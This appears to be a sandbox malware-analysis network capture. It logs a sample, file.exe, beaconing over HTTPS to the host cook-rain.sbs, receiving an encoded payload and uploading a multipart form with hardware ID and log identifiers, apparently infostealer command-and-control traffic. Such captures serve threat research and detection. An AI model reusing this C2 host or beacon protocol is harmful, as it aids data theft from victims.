Nov 20, 2024 00:19:18.257952929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:18.263801098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:05 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-19 23:19:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-19 23:19:05 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nlep3muura41raq5jg9eep0qc7; expires=Sat, 15-Mar-2025 17:05:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bcKuZBuygiuQ5REIqcT%2FYg6%2BJcw3n7ZCUggV1GBv2hRYtEeeh5mh1oxfhiUecPPi7JOUV3NOp8YSFtNTyDMNlUtZh1fNLid6uQOzPJAr%2BWrH%2BENBILOVq5nmuYArWurZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec52cfad0c7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=1716637&cwnd=129&unsent_bytes=0&cid=e3cd296f3ef2e05f&ts=466&x=0"
2024-11-19 23:19:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-19 23:19:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 56 65 55 72 51 55 79 4e 4c 30 61 52 31 71 47 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 65 33 31 33 33 35 33 39 61 32 64 66 36 35 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: VeUrQUyNL0aR1qG+.1Context: 9e3133539a2df658
2024-11-19 23:19:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-19 23:19:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 56 65 55 72 51 55 79 4e 4c 30 61 52 31 71 47 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 65 33 31 33 33 35 33 39 61 32 64 66 36 35 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 57 79 7a 2b 6c 71 76 39 42 75 33 44 30 2f 5a 39 39 31 68 39 79 32 73 62 52 72 6c 36 77 39 72 7a 6f 65 54 58 6d 51 68 61 36 32 51 37 30 62 6f 39 34 2b 51 36 59 6b 76 6a 4c 6a 4a 36 2f 41 7a 2b 2f 47 59 2f 6e 6a 66 44 35 6e 48 65 7a 77 41 62 48 35 53 71 71 46 4f 37 6e 51 50 6f 70 6a 32 51 32 6b 70 73 79 45 64 72 6d 4e 44 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: VeUrQUyNL0aR1qG+.2Context: 9e3133539a2df658<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARWyz+lqv9Bu3D0/Z991h9y2sbRrl6w9rzoeTXmQha62Q70bo94+Q6YkvjLjJ6/Az+/GY/njfD5nHezwAbH5SqqFO7nQPopj2Q2kpsyEdrmNDZ
2024-11-19 23:19:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 56 65 55 72 51 55 79 4e 4c 30 61 52 31 71 47 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 65 33 31 33 33 35 33 39 61 32 64 66 36 35 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: VeUrQUyNL0aR1qG+.3Context: 9e3133539a2df658<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-19 23:19:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-19 23:19:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 72 42 41 4a 6d 43 46 2f 55 47 4f 4e 58 64 6b 4e 67 6c 64 30 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FrBAJmCF/UGONXdkNgld0w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49711	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:06 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-19 23:19:06 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-19 23:19:06 UTC	975	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=174rvsahr4pu0t256a017qc4gf; expires=Sat, 15-Mar-2025 17:05:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iYiVn2jAwMEF4yMpO1sSaaNvOwgGW1MKf0ShO4oviGTIVDLa75iYh0aPGuaq4ws2PU37eEfFUOdKksTr17mp0TOo7WHBxRCo3ZOU%2BLtNoydPYZ0OnTJ3BEOAHUoeT2y3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec58e9c57283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2189&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=913070&cwnd=244&unsent_bytes=0&cid=9504720a0373fee0&ts=449&x=0"
2024-11-19 23:19:06 UTC	394	IN	Data Raw: 34 34 36 63 0d 0a 56 54 71 55 51 49 66 72 6d 77 4d 2b 41 37 6e 33 32 58 4e 78 58 67 59 79 66 68 42 64 78 6f 71 30 75 4e 58 51 34 54 57 56 47 30 59 75 47 4f 4a 69 76 64 2b 33 49 55 31 6d 6d 38 32 74 41 51 51 37 4b 68 41 66 64 48 2f 38 37 4e 58 55 70 72 58 4e 46 2b 4e 32 5a 47 39 63 39 53 7a 30 6a 72 63 68 57 33 75 62 7a 59 49 49 55 7a 74 6f 45 45 51 79 4f 4b 7a 6f 31 64 53 33 73 59 70 61 35 58 63 6c 50 56 62 7a 4b 4f 4b 49 2f 32 4a 53 62 74 79 53 76 42 49 62 4d 47 39 66 46 6e 31 2f 36 71 6a 52 77 76 66 71 77 33 6a 77 62 79 63 59 57 2b 63 72 70 5a 61 33 65 42 78 6d 31 39 58 6a 55 52 41 37 5a 46 34 59 64 44 61 75 34 74 7a 63 74 72 53 4c 52 66 78 39 4c 6a 31 59 38 43 6e 6f 67 65 74 76 57 47 6e 58 6c 4c 59 53 55 33 49 6b 56 77 51 79 5a 2b 53 37 35 4e 6d 6d 6f Data Ascii: 446cVTqUQIfrmwM+A7n32XNxXgYyfhBdxoq0uNXQ4TWVG0YuGOJivd+3IU1mm82tAQQ7KhAfdH/87NXUprXNF+N2ZG9c9Sz0jrchW3ubzYIIUztoEEQyOKzo1dS3sYpa5XclPVbzKOKI/2JSbtySvBIbMG9fFn1/6qjRwvfqw3jwbycYW+crpZa3eBxm19XjURA7ZF4YdDau4tzctrSLRfx9Lj1Y8CnogetvWGnXlLYSU3IkVwQyZ+S75Nmmo
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 62 4b 57 4f 34 53 45 45 49 66 69 51 71 78 59 66 4b 69 5a 71 58 47 31 78 76 61 6a 52 31 76 66 71 77 31 2f 79 65 69 63 38 56 2f 55 71 37 70 76 35 63 31 70 73 33 6f 65 39 46 42 30 32 5a 30 49 57 66 44 6d 6e 34 64 33 54 73 72 57 48 46 37 6b 35 49 79 38 59 72 6d 4c 45 68 50 4a 74 56 6e 62 62 31 61 52 66 43 6e 78 6a 58 46 77 71 66 36 44 70 30 74 75 7a 76 49 31 54 2b 33 38 71 4f 6c 66 77 4b 4f 57 4f 38 32 6c 55 59 4e 61 65 74 42 45 57 4d 57 42 57 45 48 4d 36 35 4b 61 57 33 61 2f 79 32 78 66 5a 66 69 63 6c 47 73 4d 68 36 34 66 2b 64 78 78 2b 6c 59 7a 37 46 68 39 38 50 42 41 53 64 7a 43 32 36 63 54 66 75 61 43 50 55 76 46 30 4a 7a 6c 59 38 79 58 6f 68 2f 39 6d 58 32 6e 66 6c 4c 55 64 47 54 39 67 55 31 77 38 66 36 50 77 6c 6f 4c 33 67 34 42 54 38 47 73 6e 4f 52 6a Data Ascii: bKWO4SEEIfiQqxYfKiZqXG1xvajR1vfqw1/yeic8V/Uq7pv5c1ps3oe9FB02Z0IWfDmn4d3TsrWHF7k5Iy8YrmLEhPJtVnbb1aRfCnxjXFwqf6Dp0tuzvI1T+38qOlfwKOWO82lUYNaetBEWMWBWEHM65KaW3a/y2xfZficlGsMh64f+dxx+lYz7Fh98PBASdzC26cTfuaCPUvF0JzlY8yXoh/9mX2nflLUdGT9gU1w8f6PwloL3g4BT8GsnORj
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 66 42 73 57 6d 48 63 6b 62 34 44 46 6a 56 6f 58 46 77 38 66 36 50 77 6c 6f 4c 33 6e 59 52 42 39 46 59 6e 4a 6c 47 32 50 61 75 51 75 57 5a 51 49 59 50 56 76 42 51 62 4e 32 4a 59 48 47 41 36 71 75 50 58 30 4c 47 7a 6a 6c 76 78 65 53 55 33 58 76 6f 69 34 6f 37 72 63 31 6c 6e 79 5a 2f 37 58 31 4d 37 66 42 42 45 4d 67 6d 30 2f 38 66 4d 39 59 65 41 57 66 6c 2b 4d 6e 64 48 75 44 75 6c 6a 76 55 68 42 43 48 51 6c 62 63 57 47 7a 70 67 57 42 4e 39 4e 72 62 70 32 74 53 6c 74 59 4e 65 2b 58 59 6f 50 6c 58 78 4c 2b 36 44 39 47 56 62 59 4a 76 62 2b 78 59 4c 66 44 77 51 4b 6d 49 79 71 4d 62 64 31 72 37 79 6e 42 6e 75 4f 53 4d 37 47 4b 35 69 34 59 58 78 61 31 4e 6f 30 5a 2b 30 47 42 4d 30 62 56 6b 66 63 6a 4f 69 36 64 72 57 75 72 65 41 55 76 70 38 4a 44 74 66 38 53 4f 6c Data Ascii: fBsWmHckb4DFjVoXFw8f6PwloL3nYRB9FYnJlG2PauQuWZQIYPVvBQbN2JYHGA6quPX0LGzjlvxeSU3Xvoi4o7rc1lnyZ/7X1M7fBBEMgm0/8fM9YeAWfl+MndHuDuljvUhBCHQlbcWGzpgWBN9Nrbp2tSltYNe+XYoPlXxL+6D9GVbYJvb+xYLfDwQKmIyqMbd1r7ynBnuOSM7GK5i4YXxa1No0Z+0GBM0bVkfcjOi6drWureAUvp8JDtf8SOl
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 78 74 32 4a 6d 7a 48 68 55 31 61 46 6f 56 65 54 4f 76 37 4e 72 54 73 72 53 43 55 76 4a 34 49 44 74 53 38 43 48 6d 68 76 5a 75 56 43 47 56 31 62 77 4a 55 32 51 6b 64 51 74 35 4d 61 4b 6f 79 5a 53 75 38 6f 52 62 74 79 46 6b 4f 31 48 77 4a 4f 43 46 2b 47 64 55 5a 4e 4f 52 75 68 63 56 50 32 74 55 47 58 4d 77 6f 4f 54 59 30 4c 61 7a 6a 31 7a 34 63 69 46 33 46 72 59 6c 2f 63 6d 68 49 57 31 69 7a 59 4b 72 48 56 4d 6a 4b 6b 6c 63 64 54 50 6b 73 4a 62 62 70 62 69 4a 57 66 4a 32 49 54 52 58 38 53 2f 6a 68 66 4e 6f 56 47 66 55 6e 4b 6b 53 48 7a 4a 6a 58 68 42 38 4d 71 37 72 32 35 72 35 38 6f 52 50 74 79 46 6b 47 31 2f 37 44 4f 36 46 2f 69 46 44 4c 38 4c 56 76 42 31 54 5a 43 52 63 46 6e 34 32 70 4f 48 54 30 72 79 37 68 6c 62 38 66 43 63 78 56 66 6b 72 39 34 50 36 62 Data Ascii: xt2JmzHhU1aFoVeTOv7NrTsrSCUvJ4IDtS8CHmhvZuVCGV1bwJU2QkdQt5MaKoyZSu8oRbtyFkO1HwJOCF+GdUZNORuhcVP2tUGXMwoOTY0Lazj1z4ciF3FrYl/cmhIW1izYKrHVMjKklcdTPksJbbpbiJWfJ2ITRX8S/jhfNoVGfUnKkSHzJjXhB8Mq7r25r58oRPtyFkG1/7DO6F/iFDL8LVvB1TZCRcFn42pOHT0ry7hlb8fCcxVfkr94P6b
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 61 73 68 49 63 50 57 31 63 45 58 63 32 6f 65 6e 51 33 72 32 34 67 31 48 78 65 43 45 39 57 2f 63 6f 37 49 37 78 5a 6c 39 7a 6d 39 76 37 46 67 74 38 50 42 41 31 64 53 32 71 2b 4a 62 46 2b 61 76 44 55 50 73 35 66 48 64 63 2f 43 33 68 6a 76 56 6e 57 57 66 57 6c 4c 51 51 45 7a 4e 67 57 78 56 30 50 71 6e 74 32 39 36 6c 75 49 68 59 2b 33 41 6f 4f 68 69 34 59 75 4b 52 75 54 6b 63 55 4e 61 62 74 52 59 46 66 48 73 65 42 54 49 34 71 4b 69 4f 6d 72 61 2b 6a 46 54 34 65 69 63 32 55 75 51 77 36 59 44 78 5a 46 42 71 31 5a 4f 70 46 78 77 31 5a 31 4d 56 64 54 65 6f 34 74 58 64 39 2f 7a 44 55 4f 38 35 66 48 64 37 34 54 4c 6f 79 65 59 76 52 53 48 63 6d 66 74 4a 55 7a 52 70 57 42 5a 32 4f 4b 6e 76 30 4e 4f 6c 75 34 5a 5a 39 33 30 76 4f 46 37 79 49 65 57 62 2f 32 56 55 59 74 Data Ascii: ashIcPW1cEXc2oenQ3r24g1HxeCE9W/co7I7xZl9zm9v7Fgt8PBA1dS2q+JbF+avDUPs5fHdc/C3hjvVnWWfWlLQQEzNgWxV0Pqnt296luIhY+3AoOhi4YuKRuTkcUNabtRYFfHseBTI4qKiOmra+jFT4eic2UuQw6YDxZFBq1ZOpFxw1Z1MVdTeo4tXd9/zDUO85fHd74TLoyeYvRSHcmftJUzRpWBZ2OKnv0NOlu4ZZ930vOF7yIeWb/2VUYt
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 43 33 77 38 45 44 31 70 50 4b 6a 6c 6c 73 58 35 71 38 4e 51 2b 7a 6c 38 64 31 54 34 4a 2b 57 44 2f 32 56 5a 5a 39 47 51 75 78 6f 51 4d 32 42 57 47 48 30 2f 72 2b 48 58 33 4c 4b 34 69 46 48 36 65 69 49 78 47 4c 68 69 34 70 47 35 4f 52 78 42 77 4a 69 33 46 6c 4d 6a 4b 6b 6c 63 64 54 50 6b 73 4a 62 52 75 37 61 45 56 2f 70 36 4c 44 4a 63 2f 43 66 6c 67 65 74 70 58 47 62 4a 68 37 73 59 46 6a 42 6e 55 42 68 30 4e 71 4c 72 30 70 72 35 38 6f 52 50 74 79 46 6b 47 6c 54 78 43 2b 4b 53 75 58 34 53 65 4a 75 53 74 31 46 4c 66 47 56 62 46 6e 30 79 70 2b 37 56 30 62 4b 34 67 6c 44 2f 64 44 59 30 56 2f 6b 6d 35 59 62 2f 5a 31 31 75 33 5a 4b 79 45 42 73 37 4a 42 35 63 64 53 66 6b 73 4a 62 30 73 4c 47 48 46 2b 67 33 50 58 64 66 2b 6d 4b 39 79 66 6c 72 56 6d 76 56 6c 62 77 Data Ascii: C3w8ED1pPKjllsX5q8NQ+zl8d1T4J+WD/2VZZ9GQuxoQM2BWGH0/r+HX3LK4iFH6eiIxGLhi4pG5ORxBwJi3FlMjKklcdTPksJbRu7aEV/p6LDJc/CflgetpXGbJh7sYFjBnUBh0NqLr0pr58oRPtyFkGlTxC+KSuX4SeJuSt1FLfGVbFn0yp+7V0bK4glD/dDY0V/km5Yb/Z11u3ZKyEBs7JB5cdSfksJb0sLGHF+g3PXdf+mK9yflrVmvVlbw
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 42 42 45 4d 67 71 6e 35 74 6a 64 6f 61 50 4f 63 4f 46 7a 49 79 64 66 34 53 32 6c 78 37 6c 6e 48 44 6d 49 32 2f 73 56 41 6e 77 38 41 45 34 70 61 76 65 2f 68 6f 69 6f 2f 4a 6f 58 34 54 6c 38 5a 52 61 32 4d 4b 58 52 75 53 5a 66 63 38 6d 54 75 41 63 51 65 31 70 75 4f 32 67 79 6f 76 2f 48 35 49 6d 31 6d 56 72 78 62 6a 56 37 54 66 55 73 36 34 37 76 49 52 49 68 31 4e 58 6a 4b 46 4e 30 4a 47 39 53 4d 69 66 6b 73 4a 62 76 74 4c 79 4e 55 4f 46 6f 61 52 42 43 2b 79 54 79 6d 4c 6b 76 48 47 65 62 7a 65 74 66 55 7a 68 31 45 45 51 69 62 66 2b 39 68 59 33 6e 34 4a 77 5a 37 6a 6b 79 64 77 43 6b 62 4b 57 62 75 54 6b 63 4a 74 69 48 71 52 63 51 4b 6d 63 58 49 6b 77 52 6f 2b 37 54 33 61 66 77 72 56 7a 6a 66 6d 52 35 47 50 6c 69 76 62 43 35 4b 52 78 65 6c 64 57 6a 55 55 74 38 Data Ascii: BBEMgqn5tjdoaPOcOFzIydf4S2lx7lnHDmI2/sVAnw8AE4pave/hoio/JoX4Tl8ZRa2MKXRuSZfc8mTuAcQe1puO2gyov/H5Im1mVrxbjV7TfUs647vIRIh1NXjKFN0JG9SMifksJbvtLyNUOFoaRBC+yTymLkvHGebzetfUzh1EEQibf+9hY3n4JwZ7jkydwCkbKWbuTkcJtiHqRcQKmcXIkwRo+7T3afwrVzjfmR5GPlivbC5KRxeldWjUUt8
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 70 76 39 72 4f 44 69 65 44 69 30 55 69 35 59 47 51 68 47 4b 35 77 71 38 6e 72 49 51 51 68 6e 4a 61 70 41 78 55 2f 63 6c 4e 62 54 41 47 44 35 74 48 62 6f 61 4b 55 57 4c 68 58 45 68 5a 6d 79 44 66 6d 68 2f 64 6d 53 6e 43 62 32 2f 73 65 55 32 52 64 45 46 51 79 41 4f 71 6f 7a 70 72 76 38 72 5a 55 2b 58 63 6a 49 55 6d 37 42 65 75 4f 2b 48 64 4d 64 74 54 61 6c 53 63 79 66 43 6f 51 47 6a 4a 6e 39 71 61 57 33 71 62 79 32 77 65 6c 49 6e 46 6b 44 36 5a 77 2b 73 66 67 49 55 6f 68 67 38 66 31 55 51 46 38 50 42 42 62 63 53 32 32 37 74 58 4d 74 50 57 39 61 64 42 33 49 7a 5a 4f 35 69 2f 70 71 50 70 77 56 6c 2f 6c 67 4c 67 66 48 54 74 79 51 56 77 38 66 36 75 6f 6a 75 50 33 2b 73 4e 6f 75 54 6b 38 64 77 43 32 46 2b 61 48 39 32 5a 4b 63 4a 61 79 74 52 59 53 4b 6e 52 64 45 Data Ascii: pv9rODieDi0Ui5YGQhGK5wq8nrIQQhnJapAxU/clNbTAGD5tHboaKUWLhXEhZmyDfmh/dmSnCb2/seU2RdEFQyAOqozprv8rZU+XcjIUm7BeuO+HdMdtTalScyfCoQGjJn9qaW3qby2welInFkD6Zw+sfgIUohg8f1UQF8PBBbcS227tXMtPW9adB3IzZO5i/pqPpwVl/lgLgfHTtyQVw8f6uojuP3+sNouTk8dwC2F+aH92ZKcJaytRYSKnRdE
2024-11-19 23:19:06 UTC	1369	IN	Data Raw: 6d 6c 73 4c 33 36 73 4e 36 35 58 34 30 4e 42 72 61 4a 65 69 46 75 58 34 53 65 4a 75 44 2b 30 6c 41 63 69 52 43 58 43 70 2f 34 2b 76 45 79 4c 47 78 6c 56 53 77 52 78 6f 61 53 76 45 79 35 73 76 49 62 46 68 33 7a 70 61 72 46 69 30 43 53 55 49 62 59 6a 7a 6d 7a 65 79 59 68 71 53 41 56 2f 6c 2b 5a 48 6b 59 37 6d 4b 39 79 64 52 7a 57 33 48 59 31 35 34 72 55 51 31 79 55 78 78 38 4f 4f 54 33 6d 4d 50 33 70 4d 4d 50 70 44 64 6b 4a 52 69 75 59 71 4b 48 39 47 42 66 62 39 69 48 71 52 63 51 4b 6d 63 58 49 6b 77 51 72 2b 6e 47 31 36 61 2f 68 30 48 4a 52 77 4d 78 58 66 45 63 32 37 37 6f 5a 6b 77 6a 2f 5a 61 74 45 6c 4e 79 4a 45 68 63 4b 6e 2b 44 37 74 50 64 39 2f 7a 44 55 37 63 68 5a 42 68 54 39 7a 4c 6f 6d 50 52 6c 53 69 50 38 6b 37 34 57 55 33 49 6b 58 46 77 71 66 36 Data Ascii: mlsL36sN65X40NBraJeiFuX4SeJuD+0lAciRCXCp/4+vEyLGxlVSwRxoaSvEy5svIbFh3zparFi0CSUIbYjzmzeyYhqSAV/l+ZHkY7mK9ydRzW3HY154rUQ1yUxx8OOT3mMP3pMMPpDdkJRiuYqKH9GBfb9iHqRcQKmcXIkwQr+nG16a/h0HJRwMxXfEc277oZkwj/ZatElNyJEhcKn+D7tPd9/zDU7chZBhT9zLomPRlSiP8k74WU3IkXFwqf6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:07 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U2Q6QIFDP9IAWDMS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: cook-rain.sbs
2024-11-19 23:19:07 UTC	12853	OUT	Data Raw: 2d 2d 55 32 51 36 51 49 46 44 50 39 49 41 57 44 4d 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 46 36 39 44 36 35 41 45 42 33 41 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 55 32 51 36 51 49 46 44 50 39 49 41 57 44 4d 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 32 51 36 51 49 46 44 50 39 49 41 57 44 4d 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --U2Q6QIFDP9IAWDMSContent-Disposition: form-data; name="hwid"DF5DF69D65AEB3AC63CFCF7E6C45F838--U2Q6QIFDP9IAWDMSContent-Disposition: form-data; name="pid"2--U2Q6QIFDP9IAWDMSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-19 23:19:08 UTC	985	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2b744or4jcnv29mtrflg235k75; expires=Sat, 15-Mar-2025 17:05:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mKeAUuTSIqEg7pQ17miDi4O60DBiNQmk0Dp7pLHZ8zrw0F%2F955%2BrDsROPCsBp1E8CQXbtt%2BX0KMe9Pc6eNpuOSYZWgWnh8jg98VzNHWBHvPeNDjtzNEmPafiyp%2FF70yI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec605bc27c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13788&delivery_rate=1551540&cwnd=237&unsent_bytes=0&cid=170cb1f8aa1f4b69&ts=627&x=0"
